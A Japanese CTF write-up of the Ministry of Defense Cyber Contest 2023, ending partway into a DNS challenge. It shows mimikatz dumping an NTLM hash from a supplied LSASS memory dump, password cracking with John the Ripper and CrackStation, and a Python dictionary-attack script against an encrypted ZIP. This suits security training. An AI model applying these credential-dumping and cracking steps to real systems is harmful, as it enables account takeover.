防衛省サイバーコンテスト 2023(参加者間では「防衛省CTF」等とも呼ばれていました)へ参加しました。そのwrite-up記事です。
本コンテストは3回目の開催で、今回からコンテスト終了後はwrite-up等の公開が許可されています。なお、前回以前の募集ページも同一URLであり、以前の内容は現時点では閲覧不能のようです。参考として前回以前の募集時のInternet Archiveリンクを貼っておきます:
2023/08/08(火) 22:35頃に、「Analysis」問題、「Ladder」問題の解説と、「全体的な感想」を一部追記しました。
2023/08/29(火) 21:40頃に、アンケートメールが届いたことを追記しました。
2023/10/22(日) 06:30頃に、結果一覧ページで、今回分含め過去3回分すべてで上位5名が掲載されるようになっていたことを追記しました。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [WELCOME] Welcome! (266 solved, 10 points)
- [CRYPT] Simple Substitution Cipher (240 solved, 10 points)
- [CRYPT] Substitution Cipher (141 solved, 10 points)
- [CRYPT] Administrator Hash(NTLM hash) (98 solved, 20 points)
- [CRYPT] Administrator Password (84 solved, 20 points)
- [FORENSICS] The Place of The First Secret Meeting (188 solved, 10 points)
- [FORENSICS] The Deleted Confidential File (156 solved, 20 points)
- [FORENSICS] They Cannot Be Too Careful. (73 solved, 10 points)(ヒント表示で -2 points)
- [FORENSICS] Their Perpetration (72 solved, 20 points)(ヒント表示で -4 points)
- [FORENSICS] The Taken Out Secrets (21 solved, 30 points)(ヒント表示で -3 points)
- [NW] Transfer (72 solved, 10 points)(ヒント表示で -2 points)
- [NW] Analysis (183 solved, 20 points)
- [NW] Enumeration (78 solved, 20 points)
- [PROGRAMMING] Regex Exercise (222 solved, 10 points)
- [PROGRAMMING] Mimic Unicode (58 solved, 20 points)
- [PROGRAMMING] LFSR Period (32 solved, 20 points)
- [PWN] Auth (47 solved, 10 points)
- [PWN] Festival (88 solved, 10 points)
- [PWN] Parrot (39 solved, 20 points)
- [PWN] Shock (33 solved, 20 points)
- [PWN] Noprotect (32 solved, 30 points)
- [TRIVIA] Threat (253 solved, 10 points)
- [TRIVIA] Behavior (251 solved, 10 points)
- [TRIVIA] Inventor (251 solved, 10 points)
- [Web] Basic (211 solved, 10 points)
- [Web] Discovery (110 solved, 10 points)
- [Web] Bypass (49 solved, 20 points)
- [Web] Spray (53 solved, 20 points)
- [Web] Location (21 solved, 30 points)(ヒント表示で -3 points)
- 解けなかった問題
- 全体的な感想
コンテスト概要
2023/08/06(日) 09:00 +09:00 - 2023/08/06(日) 21:00 +09:00 の12時間開催でした。他ルールは募集ページから引用します:
(前略) 3 参加資格 日本国籍を有する個人 (※ 防衛省・自衛隊の職員は、参加できません) 4 コンテストの形式 オンラインによるクイズ形式のCTF (Capture The Flag) 形式 5 成績の発表 コンテスト実施後、参加者全員に対し、成績を電子メールにて送付します。 成績優秀者につきましては、上位5名のハンドルネーム又はお名前を防衛省ウェブサイトに掲示することを予定しています。 6 参加者に準備をいただくもの PPTPまたはL2TP/IPsecを用いてVPN接続が可能なネットワーク環境 Linux又はWindowsが動作するパソコン ※スマートフォンでの参加は、推奨しません。 7 参加規約 参加に当たり同意をいただく事項 コンテストの実施に係る防衛省及び業務受託会社の指示に従うこと コンテストの参加に当たって登録をいただく氏名その他の個人情報を「防衛省サイバーコンテストにおける個人情報の利用目的等」(別添)により利用すること 成績優秀者の氏名又はハンドルネーム及び成績を、防衛省のウェブサイトに掲載すること コンテスト終了後、コンテストに係るアンケートに協力をいただくこと コンテスト終了後、採用及び説明会の案内など、防衛省・自衛隊の職員の募集に係る連絡をさせていただくこと コンテストにおける禁止事項 問題の内容及び解法を一般に公開すること(コンテストの開催中) 第三者(他の参加者を含む。)との間で問題の解法を共有すること コンテストの実施を妨げる行為を行うこと ※これらの行為を行った参加者は、失格とします。
なお、回答用のサーバーは参加者向けに一般的なURLとして共有され、Pwn問題やWeb問題等に使用するサーバー用としてVPN接続用の.ovpn
ファイルが提供される形式でした。事前に共有された参加要領の接続手順に、Windows環境ではOpenVPNを使う手順があったため、私はOpenVPNでVPN接続しました。Linux環境ではopenvpn
コマンドで接続できたようです。
結果
正の得点を得ている267人中、428点で11位でした:
得点遷移は以下の結果になりました。後述するように「点数を消費してヒントを得る」機能があり、終盤に多めに使ったことが原因で、合計42点ほど下がっています:
環境
WindowsのWSL2(Ubuntu 22.04)や、VMWare環境のKali Linux、VirtualBox環境のREMnux等を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.3271] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 kali-linux Stopped 2 docker-desktop-data Running 2 docker-desktop Running 2 c:\>
他ソフト
- IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
- Wireshark Version 4.0.7 (v4.0.7-0-g0ad1823cc090)
- FTK Imager 4.7.1.2
- testdisk 7.2-WIP
- 青い空を見上げればいつもそこに白い猫 Ver1.09
- Google Chrome Version 115.0.5790.171 (Official Build) (64-bit)
WSL2(Ubuntu 22.04)
$ cat /proc/version Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023 $ cat /etc/os-release PRETTY_NAME="Ubuntu 22.04.2 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.2 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy $ python3 --version Python 3.10.12 $ python3 -m pip show pip | grep Version Version: 22.0.2 $ python3 -m pip show IPython | grep Version Version: 7.31.1 $ python3 -m pip show requests | grep Version Version: 2.25.1 $ python3 -m pip show pwntools | grep Version Version: 4.10.0 $ python3 -m pip show numpy | grep Version Version: 1.21.5 $ python3 -m pip show opencv-python | grep Version Version: 4.5.5.64 $ python3 -m pip show pyjwt | grep Version Version: 2.3.0 $ curl --version curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.15 Release-Date: 2022-01-05 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd $ convert --version Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org Copyright: (C) 1999-2021 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC Modules OpenMP(4.5) Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib $
Kali Linux
$ cat /proc/version Linux version 6.3.0-kali1-amd64 (devel@kali.org) (gcc-12 (Debian 12.3.0-4) 12.3.0, GNU ld (GNU Binutils for Debian) 2.40.50.20230611) #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) $ msfconsole --version Framework Version: 6.3.25-dev $ cat /etc/os-release PRETTY_NAME="Kali GNU/Linux Rolling" NAME="Kali GNU/Linux" VERSION_ID="2023.2" VERSION="2023.2" VERSION_CODENAME=kali-rolling ID=kali ID_LIKE=debian HOME_URL="https://www.kali.org/" SUPPORT_URL="https://forums.kali.org/" BUG_REPORT_URL="https://bugs.kali.org/" ANSI_COLOR="1;31" $ cat /etc/os-release PRETTY_NAME="Kali GNU/Linux Rolling" NAME="Kali GNU/Linux" VERSION_ID="2023.2" VERSION="2023.2" VERSION_CODENAME=kali-rolling ID=kali ID_LIKE=debian HOME_URL="https://www.kali.org/" SUPPORT_URL="https://forums.kali.org/" BUG_REPORT_URL="https://bugs.kali.org/" ANSI_COLOR="1;31" $ john --help | grep 'John the Ripper' John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVX AC] $ sha256sum /usr/share/wordlists/rockyou.txt 16035fea7742cb0561c513de1d946eda5716d7de294e6c732449740096686173 /usr/share/wordlists/rockyou.txt $ nmap --version Nmap version 7.94 ( https://nmap.org ) Platform: x86_64-pc-linux-gnu Compiled with: liblua-5.4.4 openssl-3.0.9 libssh2-1.10.0 libz-1.2.13 libpcre-8.39 libpcap-1.10.4 nmap-libdnet-1.12 ipv6 Compiled without: Available nsock engines: epoll poll select $ hydra --version 2> /dev/null Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). $
REMnux v7
$ cat /proc/version Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 $ cat /etc/os-release NAME="Ubuntu" VERSION="20.04.4 LTS (Focal Fossa)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 20.04.4 LTS" VERSION_ID="20.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=focal UBUNTU_CODENAME=focal $ peepdf --version Version: peepdf 0.3 r8 http://peepdf.eternal-todo.com http://twitter.com/peepdf peepdf AT eternal-todo.com Jose Miguel Esparza http://twitter.com/EternalTodo $
解けた問題
前述した通り、本コンテストでは「点数を消費してヒントを得る」機能があります。戦略として「最初6~9時間ぐらいはヒント無しで頑張ろう、残りはヒントをとにかく開いてでも点数を取ろう」の考えて実践していました。なお、ヒントは各問題の上から順番にのみ表示できました。「最初の方は攻略できているので最後の方のヒントだけ知りたい」と思っても、下のヒントだけを表示することはできませんでした。
コンテスト終了後しばらくして、すべてのヒントを減点なしに確認できるようになりました。以下の問題文説明では、競技中に私が見たヒントは減点の数値付きで、コンテスト後に確認したヒントは点数不明のため数値無しで記述します。
[WELCOME] Welcome! (266 solved, 10 points)
防衛省 サイバーコンテスト 2023 へようこそ! この問題は、解答方法を確認するための問題です。 正解することで 10 ポイントが付与され、他の問題のヒントを取得できるようにもなります。 また添付ファイルは、問題用サーバーへの接続に必要な OpenVPN の設定ファイルとなります。 ダウンロード頂いた上、参加要領の手順に従って VPN 接続を行ってください。 フラグ:本コンテスト開催時の問い合わせ先メールアドレスは何でしょう? 解答形式: flag{******@******} ヒントを表示する 参加要領ドキュメントの 2 ページ目に記載されています。
問い合わせ先メールアドレスは、募集ページや、問題トップページに記載されていました。ただメールアドレスそのものであるため、念のためフラグ掲載は控えます。
[CRYPT] Simple Substitution Cipher (240 solved, 10 points)
以下の暗号文を復号してください。 暗号文: synt{tA0iEFckNRiG} 解答形式:flag{************} ヒントを表示する 最も簡単な単一換字式暗号として有名なものは何でしょうか。 ヒントを表示する hURL(https://www.kali.org/tools/hurl/ )コマンドを使用して、復号してみましょう。
ROT13であるように見えました。CyberChefで復号して得られたものを提出すると正解でした: flag{gN0vRSpxAEvT}
[CRYPT] Substitution Cipher (141 solved, 10 points)
暗号文は、以下の対応表(SubstitutionCipher.png)と鍵により暗号化されていますが、鍵の一部(1文字目、4文字目の?)が欠損しています。 暗号文から欠損している鍵を推測し、復号してください。 暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}. 鍵: ?VC? 解答形式:flag{************} ヒントを表示する 対応表を使用する単一換字式暗号として有名なものは何でしょうか。 ヒントを表示する 英文内における単語の中で、最も使用頻度の多いアルファベットは何でしょうか。
配布ファイルとして、問題文記載の対応表の画像がありました:
さて、対応表には存在しないè
や2
、記号類が暗号文中に存在します。それらの文字がどのように扱われるか、鍵の位置は進むのかどうかが、本問題では未定義です。また、大文字小文字の扱いも未定義です。
「è
という文字を含む暗号として、ヴィジュネル暗号があったような」と記憶を呼び起こして、VIGENERE CYPHERやCyberChefを使いました。鍵4文字中2文字が判明しており、暗号文先頭4文字は?hi?
と復号できるため、平文先頭がThis
となるよう鍵を手動でポチポチ変えて探索しました。結果、鍵はBVCJ
であるらしいと分かり、途中まではThis text is encrypted with the Vigen……
になるとは分かりました。しかしそこからが化けてしまいました(この時の状況のCyberChef)。
悩んで試行錯誤していると、è
を適当な記号!
で置き換えるとThis text is encrypted with the Vigen!re cipher.the flag is flag{vNP2RtAcsLdP}.
と意味が通りそうな文章になりました。そのフラグを提出してみると正解でした: flag{vNP2RtAcsLdP}
未定義の文字を使わないか、表にない文字の変換法則を明記するかしてほしいですね……。
[CRYPT] Administrator Hash(NTLM hash) (98 solved, 20 points)
lsass.zip を展開(パスワード:P@ssw0rd123!)し、Administrator ユーザーの NTLM ハッシュ値を抽出してください。 解答形式:flag{********************************} ヒントを表示する lsass.DMP は何のダンプファイルでしょうか。 ヒントを表示する lsass.DMP からパスワードハッシュ値等を抽出するコマンドは何でしょうか。 ヒントを表示する pypykatz を使用して、 NTLM ハッシュを抽出して下さい。
配布ファイルのlsass.zip
を展開するとlsass.DMP
がありました。Local Security Authority Subsystem Serviceのダンプらしく、当該プロセスのメモリ中には認証情報があるはずです。「確かmimikatzでハッシュを取れるはず」とGoogle検索するとAttacks & Defenses: Dumping LSASS W/ No Mimikatz | White Oakが見つかりました。Kali Linux環境にあるmimikatzを、Windows Defenderを無効化したWindows環境へ持っていって実行しました:
C:\Users\WDAGUtilityAccount\Desktop>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::minidump lsass.DMP Switch to MINIDUMP : 'lsass.DMP' mimikatz # sekurlsa::logonPasswords Opening : 'lsass.DMP' file for minidump... Authentication Id : 0 ; 494373 (00000000:00078b25) Session : Interactive from 1 User Name : Administrator Domain : WIN-A9FVQCU510J Logon Server : WIN-A9FVQCU510J Logon Time : 6/14/2023 2:05:23 PM SID : S-1-5-21-475754373-2222522093-564401973-500 msv : [00000003] Primary * Username : Administrator * Domain : WIN-A9FVQCU510J * NTLM : 036dac4f519817e0f6ec28d80ab42205 * SHA1 : 5cca0adce30b6164666d52ac52ee78e75f0bc3d6 tspkg : wdigest : * Username : Administrator * Domain : WIN-A9FVQCU510J * Password : (null) kerberos : * Username : Administrator * Domain : WIN-A9FVQCU510J * Password : (null) ssp : credman : (後略)
NTLMハッシュが出てきたのフラグ形式で提出すると正解でした: flag{036dac4f519817e0f6ec28d80ab42205}
ただ、CRYPTジャンルというよりはFORENSICSジャンルなどとするほうがよほど適切な問題に思います。
[CRYPT] Administrator Password (84 solved, 20 points)
問題「Administrator Hash(NTLM hash)」で抽出したハッシュ値から、Administrator ユーザーのパスワードを推測してください。 解答形式:flag{***************} ヒントを表示する 辞書リストとして、rockyou.txt を使用して下さい。
Kali Linux環境のJohn the Ripperでパスワードをクラックしようとしましたが、どうにもうまくいきませんでした:
$ cat > hash.txt Administrator:036dac4f519817e0f6ec28d80ab42205 $ john hash.txt --wordlist /usr/share/wordlists/rockyou.txt --format=NT Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 52 password hashes with no different salts (NT [MD4 128/128 AVX 4x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Proceeding with wordlist:/usr/share/john/password.lst Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2023-08-07 00:25) 0g/s 354600p/s 354600c/s 18439KC/s !@#$%..sss Session completed. $
困ったのでCrackStationに投げてみると、無事破ってくれました:
フラグ形式にして提出すると正解でした: flag{Ilovedoraemon39}
この問題も、CRYPTジャンルというよりはFORENSICSジャンルやMISCジャンルなどとするほうが適切な問題に思います。
[FORENSICS] The Place of The First Secret Meeting (188 solved, 10 points)
会社 A が内部告発を受け、海外の競合会社 B へ機密情報の持ち出しが行われた可能性があると判明しました。 退職予定の従業員が、共有パソコンへの接続が禁止されている USB メモリを用いてデータを抜き出し、USB メモリを引き渡したという内容でした。 そこで従業員を問い詰め、小さな USB ストレージを回収し、そのイメージを保全しました。 USB メモリの中には画像ファイルが入っていました。この画像が取引場所の可能性があります。この画像について、城の名前ではなく大きく写っている建物の名前を特定してください。 建物の名前をヘボン式ローマ字表記したものがフラグです。 あなたはフォレンジックエンジニアとして各フラグを取得してください。添付の仮想ディスクイメージ(USB1.vhd)内にフラグがあります。※このイメージファイルは「The Deleted Confidential File」、「They Cannot Be Too Careful.」、「The Taken Out Secrets」の問題でも使用します。 解答形式:半角英小文字 ヒントを表示する Google のサービスは強力です。Google マップ、画像検索、Google レンズやストリートビュー・・・
配布ファイルとして、USB1.vhd
がありました。FTK Imagerを起動してFile→Add Evidence Item...
のダイアログでImage File
を選択してUSB1.vhd
を解析すると、/Pictures/1.jpg
に以下の写真がありました:
Google Chromeでファイルを開いて、画像の右クリックメニューからSearch image with Google
をクリックして調べると、国重要文化財・国史跡 高松城の写真らしいと分かりました。一方で問題文ではお城の名前ではなく建物の名前が要求されています。写真右奥に見える「ダイアパレス丸の内」のローマ字表記をとりあえず提出してみましたが違いました。
Google Mapで「ダイアパレス丸の内」周辺を調べると、地図に「高松城 艮櫓」という建物の名前がありました:
その建物の名前の読み方を調べていると、20121223050607224.jpgがヒットしました。その地図ではUshitoraYagura
との表記だったので、提出してみると正解でした。
OSINTジャンル成分が強めの問題でした。
[FORENSICS] The Deleted Confidential File (156 solved, 20 points)
圧縮アーカイブファイルとして持ち出されたデータは、USB メモリから削除されていた可能性があります。データの復旧を行い、その内容を調査してください。 ※問題「The Place of The First Secret Meeting」に添付の USB1.zip ファイル内の仮想ディスクイメージファイルが対象です。 解答形式:flag{***********} ヒントを表示する sleuthkit という強力なフォレンジックツールがあります。
FORENSICジャンル1問目の次に取り組むことになる問題です。問題一覧での問題の並び順は点数順ですが、20点の本問題の次に、10点問題の「They Cannot Be Too Careful.」に取り組むことになります。
FTK ImagerでUSB1.vhd
を見ていると、/$RECYCLE.BIN/$RTADMMI.ZIP
が存在し、そのZIPファイルの中にflag{Archive_file_was_deleted}.txt
ファイルがありました。そのフラグを本問題に提出してみると正解でした: flag{Archive_file_was_deleted}
[FORENSICS] They Cannot Be Too Careful. (73 solved, 10 points)(ヒント表示で -2 points)
USB メモリから復旧できた圧縮アーカイブファイルには、パスワード保護がかかっていました。このパスワードを特定してください。 ※問題「The Deleted Confidential File」で復旧したファイルが対象です。 解答形式:半角英小文字 2 ポイントを消費してヒントを表示する 辞書攻撃は... rockyou で決まり!
問題一覧での問題の並び順は点数順ですが、20点問題の「The Deleted Confidential File」の後に、10点問題の本問題に取り組むことになります。
抽出した暗号化ZIPファイルをクラックするには、zip2john
でハッシュ値を抽出して、John the Ripper
でクラックするのが楽です。本問題もKali Linuxを使ってその方法でクラックしようとしたのですが、ハッシュ抽出結果が奇妙なものになりました:
$ file '$RTADMMI.ZIP' $RTADMMI.ZIP: Zip archive data, at least v2.0 to extract, compression method=store $ zip2john '$RTADMMI.ZIP' > hash.txt ver 2.0 $RTADMMI.ZIP/�d�v/ is not encrypted, or stored with non-handled compression type !? compressed length of AES entry too short. $ cat hash.txt $RTADMMI.ZIP/�d�v/flag{Archive_file_was_deleted}.txt:$zip2$*0*3*0*d1fa896dd4317c87e1686d922ee2e96a*884e*0**9eb41e52f9450213e138*$/zip2$:�d�v/flag{Archive_file_was_deleted}.txt:$RTADMMI.ZIP:$RTADMMI.ZIP $RTADMMI.ZIP/重要/要求提供的文件清单.pdf:$zip2$*0*3*0*b06a7d2007e8080bb9d761c9b5c35ee7*e575*a5a62*e8083ba1f942d17f4459363e050f31(非常に長いので中略)e96c1747c3ae17b6f2180e7aad872bef9f4ec521c7d843e6e05921fd*03d9a762d7b9bbb9001c*$/zip2$:重要/要求提供的文件清单.pdf:$RTADMMI.ZIP:$RTADMMI.ZIP $ wc hash.txt 2 2 1357402 hash.txt
TXTファイル側はファイルパスが文字化けしていますし、PDFファイル側はハッシュ値のようなものがとんでもない長さになっています。念のため、FTK ImagerとtestdiskでそれぞれZIPファイルを抽出し直してみましたが、同一の結果が得られました。
コンテスト時間中は、ハッシュ値があまりにも変なのでzip2john
でなにかおかしなことが起こっていると考え、クラック用スクリプトを書くことにしました。問題文で回答形式は半角英小文字との指定はあるのでまずはブルートフォースを試しましたが。全然速度が出ませんでした。困ったのでヒントを表示するとrockyouを使えとのことでした。そのためrockyou.txtの中から英小文字だけから構成されるパスワードで辞書攻撃する方針にしました:
#!/usr/bin/env python3 import pyzipper import zipfile import string import sys import zlib def try_extract(f, password): try: b = f.read('Ådùv/flag{Archive_file_was_deleted}.txt', pwd=password.encode()) print(password) return True except RuntimeError as e: # print(e) return False except UnicodeDecodeError as e: print(e, password) return False except zipfile.BadZipFile as e: # print(e) return False except pyzipper.zipfile.BadZipFile as e: # print(e, password) return False except zlib.error as e: # 「Error -3 while decompressing data: invalid code lengths set」が偶に出る # print(e, password) return False # zipfile.ZipFileだと展開しようとしても「That compression method is not supported」エラー with pyzipper.AESZipFile("$RTADMMI.ZIP", "r") as f: print(f.namelist()) # ['Ådùv/', 'Ådùv/flag{Archive_file_was_deleted}.txt', '重要/要求提供的文件清单.pdf'] with open("rockyou.txt", "r") as rockyou: count = 0 i = -1 while True: i += 1 try: line = rockyou.readline() except UnicodeDecodeError: # 「'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte」回避 continue line = line.strip() if not all(map(lambda b: ord("a") <= ord(b) <= ord("z"), line)): continue count += 1 if count % 1000 == 0: print(i, line) if try_extract(f, line): sys.exit(0)
実行しました:
$ time ./crack_password_rockyou.py ['Ådùv/', 'Ådùv/flag{Archive_file_was_deleted}.txt', '重要/要求提供的文件清单.pdf'] 1170 maxwell 2432 leonel (中略) 603822 oualid oshiro ./crack_password_rockyou.py 293.67s user 0.39s system 99% cpu 4:54.28 total $
実行に5分程かかりましたがパスワードが分かりました。実際、7-Zipを使ってそのパスワードでZIPを展開できました。フラグとして提出すると正解でした: oshiro
なお、本記事執筆中に気づいたことですが、zip2john
結果の非常に長い状態のhash.txt
でもJohn the Ripperで正しくクラックできました:
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Warning: invalid UTF-8 seen reading hash.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x]) Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498 Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status oshiro ($RTADMMI.ZIP/重要/要求提供的文件清单.pdf) oshiro ($RTADMMI.ZIP/�d�v/flag{Archive_file_was_deleted}.txt) 2g 0:00:00:25 DONE (2023-08-07 01:27) 0.07955g/s 24113p/s 48226c/s 48226C/s pepito25..oaklee Use the "--show" option to display all of the cracked passwords reliably Session completed. $
コンテスト時間中に気付きたかったです!
[FORENSICS] Their Perpetration (72 solved, 20 points)(ヒント表示で -4 points)
直接データを取得したと考えられる端末の保全を行いました。調査対象のアーティファクトを解析し、持ち出しに使用された USB メモリのシリアルナンバーを特定してください。 なお、シリアルナンバー「04018636913bcb4e1152」のデバイスは保全の際に用いたものです。 解答形式:半角英数字 4 ポイントを消費してヒントを表示する レジストリが無くても evtx で頑張ろう。外部デバイスの接続を示すアーティファクトは・・・?
本問題のみ、他のFORENSICSジャンル問題とは無関係な内容です。配布ファイルとして、NAS用PC.vhd
がありました。FTK Imagerで中を調べると、Windows用ディスクのようでした。ただしWindowsフォルダー等はなく、フォレンジックに必要なファイルのみを含んでいるようです。そのため、レジストリの実体ファイル(?)の\Windows\System32\config\
以下のファイル等はありません。
\Logs\
以下に各種イベントログファイルがあったので、その中から探すんだろうなあと考えました。とりあえずSystem.evtx
かなと当たりをつけて、ググって出てきたイベントIDで調べるも、問題文記載のシリアル番号が少しあるだけで他はなさそうでした。
ヒントを表示しましたが、「そうですよねイベントファイルですよね」という感想に落ち着きました(4点は結構もったいない)。改めてイベントログからUSBメモリのシリアル番号を探す方法をGoogle検索すると、USB Forensics – Recover more Volume Serial Numbers (VSNs) with the Windows 10 Partition/Diagnostic Event Log · DFIR Reviewがヒットしました。それによるとC:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx
にあるとのことです。USB1.vhd
から抽出したMicrosoft-Windows-Partition%4Diagnostic.evtx
をイベントビューアーで開くと、わずか9イベントのみ記録されていました。General
タブではFor internal use only.
というそっけない表示だけでしたが、Details
タブに切り替えると様々な項目がありました:
Manufacturer
項目がUSB
であるイベントについてSerialNumber
は2種類存在しており、そのうち問題文で記載されていない側を提出すると正解でした: 0401396c0881735a013c
[FORENSICS] The Taken Out Secrets (21 solved, 30 points)(ヒント表示で -3 points)
パスワードがかかっていた圧縮アーカイブファイルの中には、機密情報リストが書かれている PDF ファイルが入っていました。 この PDF ファイルを解析しフラグを取得してください。 ※問題「They Cannot Be Too Careful.」でパスワードを特定したアーカイブファイルが対象です。 解答形式:flag{***********} 3 ポイントを消費してヒントを表示する フィッシングだけどフィッシングっぽく、ステガノだけどステガノっぽくではない。フラグは3か所に分割されているよ。
「They Cannot Be Too Careful.」問題で展開した中にある重要/要求提供的文件清单.pdf
の出番です。PDFファイルを表示すると、龍の画像を背景に、ファイル名らしいものがいくつか並んでいました:
その中にフラグらしい文字列があり、コピーするとflag{pdf__is_
でした。フラグは分割されていそうです。
PDFの解析のためにREMnuxを引っ張り出しました。peepdf
でPDFを色々調べていると、目に止まったものがありました:
$ peepdf -fli 要求提供的文件清单.pdf Warning: PyV8 is not installed!! File: 要求提供的文件清单.pdf MD5: e462cc5ce4166ee28b8a61d301c670dd SHA1: af1ca774de10c260b29d728c9dbf3042843c03c1 SHA256: 34e618396532d388ee8d95aa4ca527d291f1d66bed15ba09db41689ed69646cd Size: 679900 bytes Version: 1.6 Binary: True Linearized: False Encrypted: False Updates: 0 Objects: 13 Streams: 4 URIs: 1 Comments: 0 Errors: 0 Version 0: Catalog: 3 Info: 2 Objects (13): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13] Streams (4): [9, 10, 11, 12] Encoded (4): [9, 10, 11, 12] Objects with URIs (1): [13] PPDF> object 13 << /H /I /Border [ 2 2 2 ] /A << /URI X3BheWxvYWRfX2RlbGl2ZXJ5Xw== /S /URI >> /Rect [ 280 670 285 675 ] /Type /Annots /Subtype /Link /P 4 0 R >> PPDF> quit Leaving the Peepdf interactive console...Bye! ;) $ echo 'X3BheWxvYWRfX2RlbGl2ZXJ5Xw==' | base64 -d _payload__delivery_ $
2つ目のフラグの断片_payload__delivery_
が見つかりました。この時点で「3つ目は_format}
や_framework}
では」と想像してフラグを提出してみましたがIncorrectになりました。
その後もpeepdf
で色々探したり、PDFのテキストの扱い方を調べたりしましたが、object 10に1つ目の断片の元があったくらいで、肝心の残りの断片は見つかりませんでした。困ったのでヒントを表示すると、「ステガノグラフィーがありそうなら龍の画像の抽出が必要そう」という発想に至りました。
PDFからの画像抽出ツールを探すと、Download Xpdf and XpdfReaderのDownload the Xpdf command line tools
中にあるpdfimages
が使えました:
C:\Users\WDAGUtilityAccount\Desktop\xpdf-tools-win-4.04\bin64>pdfimages.exe -list forensic_要求提供的文件清单.pdf . .-0000.ppm: page=1 width=575 height=575 hdpi=97.39 vdpi=97.39 colorspace=DeviceRGB bpc=8 # (ターミナルやファイル名を変えて) $ file 0000.ppm 0000.ppm: Netpbm image data, size = 575 x 575, rawbits, pixmap $ convert 0000.ppm 0000_converted.png
生成したPNGファイルを「青い空を見上げればいつもそこに白い猫」でステガノグラフィー解析しました:
「赤色 ビット2 抽出」で、_format!!?}
という断片が見つかりました。2つ目発見時の想像もいい線行っていたようです。ともかく、3つの断片を組み合わせて、フラグを入手できました: flag{pdf__is__payload__delivery__format!!?}
なお、本記事執筆中に気付きましたが、PDFファイル表示のスクリーンショット段階でもステガノグラフィー解析は十分できました、コンテスト時間中に気付きたかったです:
[NW] Transfer (72 solved, 10 points)(ヒント表示で -2 points)
「10.10.10.21」のサーバーは「example.com」ドメインの権威 DNS サーバーです。 このサーバー上に機密情報(フラグ)が隠されていますので、特定して回答してください。 解答方式:flag{**********} 1 ポイントを消費してヒントを表示する DNS プロトコルを駆使して調査してください。 1 ポイントを消費してヒントを表示する 機密情報(フラグ)は DNS のゾーン情報内には含まれていません。
配布ファイルはありません。とりあえず知っている範囲で一番多く情報を取得できるdig @10.10.10.21 example.com -t any
を実行して結果を色々調べたりしたのですが、フラグに結びつく結果はありませんでした。Aレコードの解決結果をnmap
で調べたりしましたが、そもそも解決結果のホストは未稼働のようでした。以下、結果的に不要だった問い合わせです:
